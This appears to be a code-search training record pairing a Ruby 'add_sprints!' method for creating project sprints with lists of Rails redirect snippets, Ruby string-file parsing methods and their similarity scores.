"def redirect_index\n\t\t@songs = Song.all\n\t\tredirect_to(:controller => 'songs', :action => 'index')\n\tend",
"def show\n redirect_to :action => 'index'\n end",
"def index\n # No one should be here\n redirect_to root_url\n end",
"def new\n redirect_to root_url\n end",
"def new\n index\n end",
"def index\n create\n render action: :create\n end",
"def index\n redirect_to :root\n end",
"def employee_post\n if params[\"new\"] \n redirect_to \"/employee/new\" and return\n else\n redirect_to \"/employee/#{params[\"edit\"]}\" and return\n end\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def show\n redirect_to action: \"index\"\n end",
"def create\n \tredirect_to results_path\n end",
"def create\n redirect_to :root\n end",
"def index\n redirect_to index_project_path\n end",
"def show\n redirect_to index_url\n end",
"def redirect_to_index(msg = nil) #:doc: \n flash[:notice] = msg if msg \n redirect_to(:action => 'index') \n end",
"def index\n redirect_to User.find(params[:user_id])\n end",
"def pcb_admin_home\n redirect_to(:action => 'index')\n end",
"def new\n redirect_to root_path\n end",
"def new\n redirect_to root_path\n end",
"def index\n redirect_to posts_path\n end",
"def designer_home\n redirect_to(:action => 'index')\n end",
"def edit\n redirect_to action: 'index', status: 303\n end",
"def index\n redirect_to Project.find(params[:project_id])\n end",
"def create\n \tredirect_to \"/book/index\"\n end",
"def index\n redirect_to people_path\n end",
"def index\n redirect_to(new_session_path)\n end",
"def redirect_to_index\n redirect_to locations_url\n end",
"def after_save(cc)\n redirect_to :controller => 'home', :action => 'index' if cc\n end",
"def redirect_to_index(msg=nil)\n\t\tflash[:notice] = msg if msg\n\t\tredirect_to :action => index\n\tend",
"def redirect_after_create\n resources_url {}\n end",
"def index\n redirect_to user_path(@user)\n end",
"def index\n redirect_to account_path\n end",
"def index\n @item = Item.new\n #@items = Item.all\n #redirect_to :controller => 'searches', :action => 'new', :searching_for => 'item'\n end",
"def create\n redirect_to_full_path\n end",
"def redirect_to_index(msg = nil)\n\t\tflash[:notice] = msg if msg\n\t\tredirect_to :action => 'index'\n\tend",
"def index\n self.new\n render :action => 'new'\n end",
"def new\n if logged_in?\n redirect_to index_path\n end\n end",
"def index\n redirect_to home_path\n end",
"def index\n redirect_to home_path\n end",
"def show\n redirect_to action: :index\n end",
"def index\n redirect_to user_path(current_user)\n end"
] |
[
"0.7754762",
"0.77000725",
"0.7584724",
"0.7567472",
"0.75173753",
"0.74609184",
"0.7446445",
"0.74001354",
"0.7358094",
"0.7288963",
"0.7280002",
"0.71853536",
"0.718368",
"0.7168632",
"0.71491045",
"0.70854485",
"0.70423126",
"0.6985959",
"0.69630045",
"0.6851528",
"0.6788658",
"0.67684937",
"0.6764254",
"0.6764254",
"0.6764254",
"0.6759445",
"0.6759445",
"0.6759445",
"0.6742594",
"0.6734806",
"0.67312586",
"0.6729153",
"0.6724169",
"0.67236245",
"0.67236245",
"0.6717046",
"0.6717046",
"0.6705045",
"0.67039615",
"0.67031485",
"0.67031485",
"0.67031485",
"0.67031485",
"0.67031485",
"0.6700613",
"0.66997427",
"0.66958433",
"0.6695495",
"0.6651077",
"0.66477495",
"0.66277885",
"0.66272783",
"0.66130966",
"0.6568368",
"0.6562793",
"0.6545248",
"0.6544028",
"0.6537883",
"0.65374774",
"0.6532748",
"0.65240735",
"0.65234387",
"0.65216625",
"0.6519081",
"0.6504513",
"0.6504513",
"0.6504513",
"0.6504513",
"0.6504513",
"0.6504513",
"0.6494914",
"0.6489137",
"0.6487521",
"0.64811414",
"0.6474776",
"0.6470068",
"0.64620155",
"0.64616835",
"0.64616835",
"0.6458711",
"0.6455394",
"0.64458126",
"0.6442863",
"0.6440699",
"0.6429781",
"0.64135706",
"0.641052",
"0.63999224",
"0.6391884",
"0.6389721",
"0.6378628",
"0.6378385",
"0.6366813",
"0.6363995",
"0.63599616",
"0.6350739",
"0.634261",
"0.6337533",
"0.6337533",
"0.632833",
"0.6323329"
] |
0.0
|
-1
|
TODO: should be a bang name
|
def add_sprints!(sprint_count:, sprint_days: 5)
return unless sprint_count > 0
sprints = project.sprints.order(:start_date)
last_sprint = sprints.last
1.upto(sprint_count) do
starting = last_sprint ? last_sprint.end_date.next_weekday : project.start_date
ending = starting
begin
day_counter = sprint_days
while day_counter > 1
ending = ending.next_weekday
day_counter -= 1
end
last_sprint = Sprint.new(
project: project,
start_date: starting,
end_date: ending
)
last_sprint.save!
rescue ActiveRecord::RecordInvalid => e
if last_sprint.errors[:end_date].present? && last_sprint.errors[:end_date].include?("Cannot end after its Project end date.")
project.end_date = last_sprint.end_date
project.save!
project.reload
last_sprint.save!
else
raise e
end
end
end
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def schubert; end",
"def formation; end",
"def suivre; end",
"def terpene; end",
"def custom; end",
"def custom; end",
"def refutal()\n end",
"def verdi; end",
"def who_we_are\r\n end",
"def berlioz; end",
"def weber; end",
"def stderrs; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def extra; end",
"def implementation; end",
"def implementation; end",
"def identify; end",
"def anchored; end",
"def jack_handey; end",
"def r; end",
"def r; end",
"def operations; end",
"def operations; end",
"def real_name; end",
"def offences_by; end",
"def trd; end",
"def intensifier; end",
"def villian; end",
"def isolated; end",
"def isolated; end",
"def probers=(_arg0); end",
"def internal; end",
"def spec; end",
"def spec; end",
"def as_you_like_it_quote; end",
"def ibu; end",
"def returns; end",
"def buzzword; end",
"def buzzword; end",
"def bs; end",
"def malts; end",
"def missing; end",
"def wrapper; end",
"def rossini; end",
"def ignores; end",
"def specialty; end",
"def original; end",
"def used?; end",
"def original_result; end",
"def gounod; end",
"def sld; end",
"def herald; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def sitemaps; end",
"def operation; end",
"def same; end",
"def zuruecksetzen()\n end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def blg; end",
"def missing?; end",
"def final; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end"
] |
[
"0.7711573",
"0.7046109",
"0.69062954",
"0.69062954",
"0.69062954",
"0.69062954",
"0.6720959",
"0.64098775",
"0.63855046",
"0.6360771",
"0.6335622",
"0.6335622",
"0.63151014",
"0.6290336",
"0.6225018",
"0.62097037",
"0.6199263",
"0.6138941",
"0.61379784",
"0.61379784",
"0.61379784",
"0.61379784",
"0.6090335",
"0.6090335",
"0.6090335",
"0.6090335",
"0.6053818",
"0.6053818",
"0.6053818",
"0.6042748",
"0.60421365",
"0.60421365",
"0.6030352",
"0.60138094",
"0.5973332",
"0.5964812",
"0.5964812",
"0.59450793",
"0.59450793",
"0.5941818",
"0.59363055",
"0.5932441",
"0.592518",
"0.59250396",
"0.5924874",
"0.5924874",
"0.5922223",
"0.5901955",
"0.59005857",
"0.59005857",
"0.5878322",
"0.58721036",
"0.5864544",
"0.58570564",
"0.58570564",
"0.5855241",
"0.582505",
"0.5824023",
"0.5818792",
"0.58166856",
"0.5799992",
"0.5794671",
"0.5791415",
"0.5790497",
"0.5781145",
"0.5780202",
"0.5756445",
"0.5745838",
"0.57414573",
"0.57414573",
"0.57414573",
"0.5739181",
"0.5739181",
"0.5739181",
"0.5739181",
"0.5739181",
"0.5739181",
"0.5739181",
"0.5739181",
"0.57348967",
"0.5733276",
"0.5733039",
"0.5728046",
"0.57233346",
"0.57233346",
"0.57233346",
"0.57233346",
"0.57233346",
"0.57233346",
"0.57233346",
"0.57233346",
"0.5718938",
"0.5702135",
"0.569859",
"0.5697323",
"0.5697323",
"0.5697323",
"0.5697323",
"0.5697323",
"0.5697323",
"0.5697323"
] |
0.0
|
-1
|
Parses the content of strings file
|
def parse(_string, _extension)
[{}, {}]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_file!(input_file)\r\n File.open(input_file, \"rb:UTF-8\").each(LOCSTR_END_OF_LINE + \"\\n\") do |line|\r\n strings << line.chomp(LOCSTR_END_OF_LINE + \"\\n\") + \"\\x00\"\r\n end\r\n\r\n @number_of_strings = @strings.size\r\n @offset_to_strings = 8 + 8 * @number_of_strings\r\n end",
"def parse_file\n @file ||= File.open(@file_name) unless @file_name.nil?\n @text = @file.readlines\n @file.close unless @file.nil?\n parse_text\n end",
"def load_strings(strings_filename)\n return [{}, {}]\n end",
"def load_strings(file_or_url)\n loadStrings(file_or_url).to_a\n end",
"def load_strings(file_or_url)\n loadStrings(file_or_url).to_a\n end",
"def parsed_file\n data.split(\"\\n\").map do |line|\n line.split(' ')\n end\n end",
"def parse(filename, custom_path = nil)\n # Find the correct file based on the current locale setting in SketchUp.\n # If no path has been given it'll revert back to the Resource folder in\n # SketchUp, like LanguageHandler does.\n if custom_path\n path = File.expand_path(custom_path)\n full_file_path = File.join(path, Sketchup.get_locale, filename)\n else\n full_file_path = Sketchup.get_resource_path(filename)\n end\n\n # Define returned dictionary. Make a hash that will return the key given\n # if the key doesn't exist. That way, when a translation is missing for\n # a string it will be returned un-translated.\n strings = Hash.new { |hash, key| key }\n\n # Ensure the file is valid.\n if full_file_path.nil? || !File.exist?(full_file_path)\n puts \"Warning! Could not load dictionary: #{full_file_path}\"\n return strings\n end\n\n # Read and process the content.\n state = STATE_SEARCH\n key_buffer = ''\n value_buffer = ''\n state_cache = nil # Used when comments are exited.\n\n # File position statistics.\n last_line_break = nil\n line_pos = 0\n\n if Sketchup.version.split('.')[0].to_i < 14\n read_flags = 'r'\n else\n read_flags = 'r:BOM|UTF-8'\n end\n\n File.open(full_file_path, read_flags) { |file|\n file.lineno = 1 # Line numbers must be manually tracked.\n file.each_byte { |byte|\n # Count line numbers and keep track of line position.\n if byte.chr =~ TOKEN_EOL # (?) Can we avoid regex? Is 10 & 13 enough?\n line_pos = 0\n if last_line_break.nil? || byte == last_line_break\n file.lineno += 1\n last_line_break = byte\n end\n else\n line_pos += 1\n last_line_break = nil\n end\n\n log_state(state, byte)\n\n # Check for UTF-8 BOM at the beginning of the file. (0xEF,0xBB,0xBF)\n # This is done here before the rest of the parsing as these are\n # special bytes that doesn't appear visible in editors.\n if file.lineno == 1\n if line_pos == 1 && byte == 0xEF\n state = STATE_EXPECT_UTF8_BOM\n next\n elsif state == STATE_EXPECT_UTF8_BOM\n if line_pos == 2 && byte == 0xBB\n next\n elsif line_pos == 3 && byte == 0xBF\n # Reset line position tracker as the BOM is not visible in\n # editors and will give misleading references.\n line_pos = 0\n state = STATE_SEARCH\n next\n end\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n end\n\n # Process the current byte.\n # Note that White-space and EOL matches are done with regex and\n # therefore last in evaluation.\n case state\n\n # Neutral state looking for the beginning of a key or comment.\n when STATE_SEARCH\n if byte == TOKEN_QUOTE\n state = STATE_IN_KEY\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # Parser is inside a key string looking for end-quote.\n # All characters that are not the end-quote is considered part of\n # the string and is added to the buffer.\n when STATE_IN_KEY\n if byte == TOKEN_QUOTE\n state = STATE_EXPECT_EQUAL\n else\n key_buffer << byte\n end\n\n # After a key the parser expects to find an equal token or a concat\n # token that will allow a string to be split up. Comments are\n # allowed.\n when STATE_EXPECT_EQUAL\n # Accept: Whitespace, Comment\n # Look for: = /\n if byte == TOKEN_EQUAL\n state = STATE_EXPECT_VALUE\n elsif byte == TOKEN_CONCAT\n state = STATE_SEARCH\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # After a key and equal-token is found the parser expects to find\n # a value string. Comments are allowed.\n when STATE_EXPECT_VALUE\n if byte == TOKEN_QUOTE\n state = STATE_IN_VALUE\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # Parser is inside a value string looking for end-quote.\n # All characters that are not the end-quote is considered part of\n # the string and is added to the buffer.\n when STATE_IN_VALUE\n if byte == TOKEN_QUOTE\n state = STATE_EXPECT_END\n strings[ key_buffer ] = value_buffer\n else\n value_buffer << byte\n end\n\n # After a key and value pair has been found the parser expects to\n # find and end token or end of line. The end token is only required\n # if multiple statements are placed on the same line.\n #\n # A concat token will kick the parser back into looking for a value\n # string.\n #\n # Comments are allowed.\n when STATE_EXPECT_END\n if byte == TOKEN_END || byte.chr =~ TOKEN_EOL\n state = STATE_SEARCH\n key_buffer = ''\n value_buffer = ''\n elsif byte == TOKEN_CONCAT\n state = STATE_EXPECT_VALUE\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # The beginning of a comment is found. The next token is expected to\n # be a token for either singe-line or multi-line comment.\n when STATE_EXPECT_COMMENT\n if byte == TOKEN_COMMENT_MULTI\n state = STATE_IN_COMMENT_MULTI\n elsif byte == TOKEN_COMMENT_SINGLE\n state = STATE_IN_COMMENT_SINGLE\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # The parser is processing a multi-line comment. When it encounter a\n # multi-line token will look for an comment end-token next. All\n # other data is ignored.\n when STATE_IN_COMMENT_MULTI\n if byte == TOKEN_COMMENT_MULTI # Multiline Comment\n state = STATE_EXPECT_COMMENT_END\n end\n\n # The parser is processing a multi-line comment and the last token\n # was an indication for end of comment. If this token is not an\n # end-token it will resume to processing the comment.\n when STATE_EXPECT_COMMENT_END\n if byte == TOKEN_COMMENT_START # End token is the same as start.\n state = state_cache\n elsif byte != TOKEN_COMMENT_MULTI\n state = STATE_IN_COMMENT_MULTI\n end\n\n # The parser is processing a single-line comment. The comment ends\n # at the first end-of-line.\n when STATE_IN_COMMENT_SINGLE\n if byte.chr =~ TOKEN_EOL\n state = state_cache\n end\n end\n } # file.each_byte\n } # File.open\n\n return strings\n end",
"def read_text(filename); end",
"def parse_file(filename); end",
"def from_file!(input_file)\r\n File.open(input_file, \"rb:UTF-16LE\") do |file|\r\n @number_of_strings = file.read(4).unpack('I').first\r\n @offset_to_strings = file.read(4).unpack('I').first\r\n\r\n @number_of_strings.times do\r\n file.seek(4, File::SEEK_CUR)\r\n offset = file.read(4).unpack('I').first\r\n old_offset = file.pos\r\n\r\n file.pos = @offset_to_strings + offset\r\n strings << file.gets(UTF_16_NULL).chop.encode(\"UTF-8\") + LOCSTR_END_OF_LINE \r\n\r\n file.pos = old_offset\r\n end\r\n end\r\n end",
"def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend",
"def parse_from_file filename\n parse File.open(filename)\n end",
"def parse_file\n #needs begin rescue exception handling \n \tbegin \n \t\traise FileNotFoundException.new(\"File not Found\") unless File.exists?(@file_path)\n\t\n \t\tFile.open(@file_path).slice_before(@delimiter).each do |chunk|\n \t\t\tchunk.reject! {|item| item =~ @delimiter }\n \t\ttitle = chunk.shift\n \t\tif @title_hash.has_key?(title)\n \t\t\t@title_hash[title] = @title_hash[title] << chunk \n \t\telse\n \t\t p chunk\n \t\t\t@title_hash[title] = chunk\n \t\tend \t\t\n \t\tend\n \t\t\n \trescue FileNotFoundException => e\n \t\tp e.message\n \tend\n\t\n end",
"def read_xml(filename=$g_language_strings)\n filename = $g_lang_strings_file\n all_strings_hash={}\n\n config = XmlSimple.xml_in(filename, {'KeyAttr' => 'resources/String'})\n config['string'].each do |var|\n all_strings_hash[var[\"name\"]]=var[\"content\"]\n end\n\n return all_strings_hash\n end",
"def parse_txt_file(filename)\n file_lines = []\n File.open(filename).each do |line|\n file_lines << line.chomp\n end\n file_lines\nend",
"def load_file(path)\n file_array = IO.readlines(path)\n file_array.map {|element| element.chomp}\nend",
"def parse_file\n @filecontent ||= File.read(@filepath)\n end",
"def parse(filename)\n instructions = open filename\n instructions.read.split(//)\nend",
"def get_strings_from_file(path, result_hash = {})\r\n here = path.gsub(RAILS_ROOT.chomp,\"\")\r\n # Get translations guesses (using the 'thing' / [] style)\r\n potentials = []\r\n potentials += file_matches(path, SQ_LAX)\r\n potentials += file_matches(path, DQ_LAX)\r\n\r\n # Get known translation strings (.t)\r\n potentials += file_matches(path, DQ_T)\r\n potentials += file_matches(path, SQ_T)\r\n\r\n # Filter out known bad (some things are miserble to try in the regexp)\r\n probables = []\r\n potentials.each do |s|\r\n full_str = s[0]\r\n matched_str = s[1]\r\n next if matched_str.match(/#\\{.*\\}/) # e.g. \"#{myvar}\".t\r\n #next if full_str.match(/(<%)|(%>)/) # e.g. any inline code\r\n next unless matched_str.match(/\\w/) # ensure something worth translating\r\n\r\n probables << matched_str # Just the relevant matched portion\r\n end\r\n\r\n # Remove escaped quotes\r\n probables.each do |str|\r\n str.gsub!(\"\\\\'\", \"'\")\r\n str.gsub!('\\\\\"', '\"')\r\n result_hash[str] ||= []\r\n result_hash[str] << here\r\n end\r\n\r\n return result_hash\r\n end",
"def read_files\r\n @prefixes = IO.read('prefixes.txt').split(' ')\r\n @syllables = IO.read('syllables.txt').split(' ')\r\n @postfixes = IO.read('postfixes.txt').split(' ')\r\n end",
"def parse_content(content); end",
"def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end",
"def read_content(file)\n\t\tcontent = []\n\t\tfile.each do |f|\n\t\t\tif File.file?(f)\n\t\t\t\tFile.open(f, \"r\") do |f|\n\t\t\t\t\tword = \"\"\n\t\t\t\t\tf.each_line do |line|\n\t\t\t\t\t\tword += \"#{line}\"\n\t\t\t\t\tend\n\t\t\t\t\tcontent += [word]\n\t\t\t\tend\n\t\t\tend\t\t\t\n\t\tend\n\t\treturn calculate_content(content)\n\tend",
"def parse_strings(toolname=nil, locale=\"en\", dir=nil)\n toolname = \"\" if toolname.nil?\n raise(ArgumentError, \"Argument 'toolname' needs to be a String\") unless toolname.is_a?(String)\n raise(ArgumentError, \"Argument 'locale' needs to be a String\") unless locale.is_a?(String)\n raise(ArgumentError, \"Argument 'dir' needs to be a String\") unless dir.is_a?(String) || dir.nil?\n dir = File.dirname(File.expand_path(__FILE__)) if dir.nil? || !File.exists?(dir.to_s)\n language = locale[/^[^\\-]+/]\n extensions = [\"strings\", \"lingvo\", \"rb\"]\n\n available_files = Dir.entries(dir).find_all{ |f|\n File.basename(f)[/(^|#{toolname}[^a-zA-Z]?)#{locale}\\.(#{extensions.join('|')})/i]\n }.concat(Dir.entries(dir).find_all{|f|\n File.basename(f)[/(^|#{toolname}[^a-zA-Z]?)#{language}(-\\w{2,3})?\\.(#{extensions.join('|')})/i]\n })\n return if available_files.empty?\n path = File.join(dir, available_files.first)\n format = File.extname(path)[/[^\\.]+/]\n strings = {}\n File.open(path, \"r\"){ |file|\n # load .rb format\n if format == \"rb\"\n strings = eval(file.read)\n # parse .strings or .lingvo format\n else\n entry = \"\"\n inComment = false\n file.each{ |line|\n if !line.include?(\"//\")\n if line.include?(\"/*\")\n inComment = true\n end\n if inComment==true\n if line.include?(\"*/\")\n inComment=false\n end\n else\n entry += line\n end\n end\n if format == \"strings\" && entry.include?(\";\") || format == \"lingvo\" && !entry.empty?\n keyvalue = entry.strip.gsub(/^\\s*\\\"|\\\"\\s*;$/, \"\").split(/\\\"\\s*=\\s*\\\"|\\s*<==>\\s*/)\n entry = \"\"\n next unless keyvalue.length == 2\n key = keyvalue[0].gsub(/\\\\\\\"/,'\"').gsub(/\\\\\\\\/, \"\\\\\")\n value = keyvalue[1].gsub(/\\\\\\\"/,'\"').gsub(/\\\\\\\\/, \"\\\\\")\n strings[key] = value\n end\n }\n end # if format\n }\n\n @strings.merge!(strings)\n return (strings.empty?)? false : true\n end",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def parse_file\n line_count = 0\n @text.each_line do |line|\n if line == nil || line == '' || line.size == 0 || line[0] == '#' || line[0] == \"\\n\"\n next\n end\n elements = line.split(' ')\n if elements.size > 2\n puts 'Waring : '.red + 'in file \"' + @file_name.yellow + '\" ignoring line ' + line_count.to_s.yellow + ' ( it has more than one space and is not a comment )'\n else\n if elements.size == 1\n @ret << Manga_data.new(nil, nil, nil, elements[0], nil)\n else\n @ret << Manga_data.new(nil, elements[0], elements[1], nil, nil)\n end\n end\n line_count += 1\n end\n end",
"def strings_to_lines_textualed\n strings = File.read(file_name)\n strings.extend Textual\n new = strings.to_textual\n end",
"def file_load(file)\n\t\tresult = \"\"\n\t\tFile.open(file.to_s, 'r') do |f|\n\t\t\twhile l = f.gets \n\t\t\t\tresult << l\n\t\t\tend\n\t\tend\n\t\tresult\n\tend",
"def parse(str)\n read_items(tokenize(str))\n end",
"def read_contents\n\t\treturn File.open(self.file_name).read.lines.map(&:chomp) if self.file_name\n\tend",
"def load_words\n File.read(\"../scrabble word cheat/words.txt\").split(\"\\n\")\nend",
"def parse_file_contents(filename, file_contents, args)\n return file_contents\n end",
"def read_post_text_files\n open(MENTION_FILE, 'r:UTF-8') do |file|\n @reply_mention_text = file.readlines.collect{|line| line.strip}\n end\n\n open(NOTMEITAN_FILE, 'r:UTF-8') do |file|\n @notmeitan_text = file.readlines.collect{|line| line.strip}\n end\n\n open(REPLY_CSHARP_FILE, 'r:UTF-8') do |file|\n @reply_csharp_text = file.readlines.collect{|line| line.strip}\n end\n\n open(REPLY_MORNING_FILE, 'r:UTF-8') do |file|\n @reply_morning_text = file.readlines.collect{|line| line.strip}\n end\n\n open(REPLY_SLEEPING_FILE, 'r:UTF-8') do |file|\n @reply_sleeping_text = file.readlines.collect{|line| line.strip}\n end\n\n open(REPLY_DEPARTURE_FILE, 'r:UTF-8') do |file|\n @reply_departure_text = file.readlines.collect{|line| line.strip}\n end\n\n open(REPLY_RETURN_FILE, 'r:UTF-8') do |file|\n @reply_return_text = file.readlines.collect{|line| line.strip}\n end\n\n log 'notmeitan text:'\n for s in @notmeitan_text do\n log ' ' + s\n end\n\n log 'reply text:'\n for s in @reply_mention_text do\n log ' ' + s\n end\n\n log 'reply csharp text:'\n for s in @reply_csharp_text do\n log ' ' + s\n end\n\n log 'reply departure text:'\n for s in @reply_departure_text do\n log ' ' + s\n end\n\n log 'reply returning text:'\n for s in @reply_return_text do\n log ' ' + s\n end\n end",
"def read_string; end",
"def load_file_contents(filename)\n File.open(filename).readlines\n end",
"def readContents(filename)\r\n file = File.open(filename)\r\n contents = \"\"\r\n file.each { |line|\r\n contents << line\r\n }\r\n contents\r\nend",
"def strings(path)\n min = 4\n Enumerator.new do |y|\n File.open(path, \"rb\") do |f|\n s = \"\"\n f.each_char do |c|\n if c =~ /[[:print:]]/ # is there a cleaner way to do this check?\n s += c\n next\n else\n y.yield s if s.length >= min\n s = \"\"\n end\n end\n y.yield s if s.length >= min\n end\n end\n end",
"def parse_file\n filename = full_path_from_edict_file(@config[\"filename\"])\n ### Get all the line into memory\n file_obj = File.new(filename, \"r\")\n file_obj.each do |line|\n @added_lines.push line\n end\n end",
"def parse(text); end",
"def parse_all\n @raw_string.split( \"\\n\" ).each do |line|\n parse_line( line )\n end\n @all.values\n end",
"def file_array_parser\n @array_of_parse_files = []\n file_array.each do |file|\n File.open(\"text_files/#{file}\").readlines.each do |line|\n if line.include?(\"\\n\") # removes '\\n' (line breaker)\n @array_of_parse_files << [line.gsub!(/\\n/, '')]\n else\n @array_of_parse_files << [line]\n end \n end\n @array_of_parse_files \n end\n\nend",
"def load\n @lines.select! do |line|\n line.strip.length != 0\n end.select! do |line|\n line[0] != '#'\n end.map! do |line|\n line.split(\" \")\n end\n\n self\n end",
"def parse_file(file)\n unless file.is_a?(String)\n raise ArgumentError, _(\"The argument 'file' must be a String, got %{type}\") % { type: file.class }\n end\n internal_evaluator.parse_file(file)\n end",
"def parse(path, contents = nil)\n contents ||= File.open(path, 'r:utf-8', &:read)\n\n # Work around for Rubinius incomplete encoding in 1.9 mode\n if contents.respond_to?(:encoding) && contents.encoding.name != 'UTF-8'\n contents.encode!('UTF-8')\n end\n\n if contents.tr!('“”‘’‛', %(\"\"'''))\n # Changes have been made\n puts \"Your #{path.basename} has had smart quotes sanitised. \" \\\n 'To avoid issues in the future, you should not use ' \\\n 'TextEdit for editing it. If you are not using TextEdit, ' \\\n 'you should turn off smart quotes in your editor of choice.'.red\n end\n\n self.defined_in_file = path\n instance_eval do\n # rubocop:disable Lint/RescueException\n begin\n # rubocop:disable Eval\n eval(contents, nil, path.to_s)\n # rubocop:enable Eval\n rescue Exception => e\n message = \"Invalid `#{path.basename}` file: #{e.message}\"\n raise DSLError.new(message, path, e.backtrace, contents)\n end\n # rubocop:enable Lint/RescueException\n end\n end",
"def parse_article_from_file article_file_name\n article_values = {}\n article_values[:content] = ''\n article_values[:introduction] = ''\n article_values[:tags] = []\n article_values[:authors] = []\n article_values[:title] = ''\n article_values[:date] = nil\n article_values[:updated_at] = nil\n next_is = ''\n\n puts \"Parsing: #{article_file_name}\"\n File.open(File.join(ARTICLE_PATH, article_file_name), 'r') do |article_file|\n article_file.each_line do |line|\n next if line.blank?\n ##### Checking what next line will be\n # Detect date\n if line.include?(DATE_DELIMITER)\n next_is = 'date'\n # Detect updated_at date\n elsif line.include?(UPDATED_AT_DELIMITER)\n next_is = 'updated_at'\n # Detect introduction\n elsif line.include?(INTRODUCTION_DELIMITER)\n next_is = 'introduction'\n # Detect content\n elsif line.include?(CONTENT_DELIMITER)\n next_is = 'content'\n elsif line.include?(TAGS_DELIMITER)\n next_is = 'tags'\n elsif line.include?(TITLE_DELIMITER)\n next_is = 'title'\n elsif line.include?(AUTHORS_DELIMITER)\n next_is = 'authors'\n else\n case(next_is)\n when 'date' then article_values[:date] = Time.zone.parse(line.strip)\n when 'updated_at' then article_values[:updated_at] = Time.zone.parse(line.strip)\n when 'introduction' then article_values[:introduction] << line.strip\n when 'content' then article_values[:content] << line\n when 'title' then article_values[:title] << line.strip\n when 'authors' then\n line.strip.split(',').each do |author|\n author.strip! # Removing eventual spaces at the begining or at the end\n article_values[:authors] << Author.where(:name => author).first unless Author.where(:name => author).empty?\n end\n when 'tags' then\n line.strip.split(',').each do |tag_name|\n tag_name.strip! # Removing eventual spaces at the begining or at the end\n # If the tag exists, add it to the list of tags\n if Tag.where(:name => tag_name).empty?\n article_values[:tags] << Tag.create(:name => tag_name)\n else\n article_values[:tags] << Tag.where(:name => tag_name).first\n end\n end\n end\n end\n end\n end\n return article_values\nend",
"def parse_input (input_file)\nend",
"def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents.split(\"\\n\")\n end",
"def import_file(file)\n records = IO.readlines(file)\n Vocabulary::DB.transaction do\n records.each { |record| string_processing record }\n end\n end",
"def LoadFile ()\n\t\n\tinput = \"\"\n\tFile.foreach(\"../Data Files/042-Words.txt\") {|x| input = x }\n\tnames = input.split(\",\")\n\t\n\treturn names;\nend",
"def parse(file)\n File.open(file).each_line do |line|\n line = line.strip\n @sentences << parse_sentence(line) unless line.empty?\n end\n end",
"def load_list filename\n\tlist = []\n\tbegin\n\t\topen filename do |f|\n\t\t\tuntil (line = f.gets).nil?\n\t\t\t\tnext if line.strip.empty?\n\t\t\t\tlist << line.strip\n\t\t\tend\n\t\tend\n\trescue Errno::ENOENT\n\tend\n\tlist\nend",
"def read_file\n\t\tif @filename == \"\"\n\t\t\t@text = [\"\"]\n\t\t\treturn\n\t\telse\n\t\t\tif File.exists? @filename\n\t\t\t\ttext = IO.read(@filename)\n\t\t\telse\n\t\t\t\t@text = [\"\"]\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# get rid of crlf\n\t\ttemp = text.gsub!(/\\r\\n/,\"\\n\")\n\t\tif temp == nil\n\t\t\t@eol = \"\\n\"\n\t\telse\n\t\t\t@eol = \"\\r\\n\"\n\t\tend\n\t\ttext.gsub!(/\\r/,\"\\n\")\n\t\t@text = text.split(\"\\n\",-1)\n\tend",
